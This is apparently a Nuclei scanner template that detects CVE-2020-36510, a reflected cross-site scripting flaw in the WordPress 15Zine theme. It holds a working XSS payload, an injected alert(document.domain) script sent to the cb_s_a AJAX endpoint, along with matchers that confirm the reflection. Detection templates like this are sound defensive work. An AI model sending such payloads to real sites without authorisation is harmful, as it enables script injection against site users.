id: CVE-2020-36510

info:
  name: WordPress 15Zine <3.3.0 - Cross-Site Scripting
  author: veshraj
  severity: medium
  description: |
    WordPress 15Zine before 3.3.0 is vulnerable to reflected cross-site scripting because the theme does not sanitize the cbi parameter before including it in the HTTP response via the cb_s_a AJAX action.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update WordPress 15Zine to version 3.3.0 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/d1dbc6d7-7488-40c2-bc38-0674ea5b3c95
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36510
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-36510
    cwe-id: CWE-79
    epss-score: 0.02602
    epss-percentile: 0.83341
    cpe: cpe:2.3:a:codetipi:15zine:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: "false"
    max-request: 2
    vendor: codetipi
    product: 15zine
    framework: wordpress
  tags: cve2020,cve,xss,wordpress,wp-theme,wp,wpscan,codetipi,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/themes/15zine/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/themes/15zine/assets/'

  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=cb_s_a&cbi=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c484b78cbaf1e7d9970c3bbf683a35b8ad563d760602b05f1045ddaf5c6b0fb1022100962e72ee0e88318e40c3111ebefdc56b318cbdadb19d16eddbce58c8b66fe791:922c64590222798bb761d5b6d8e72950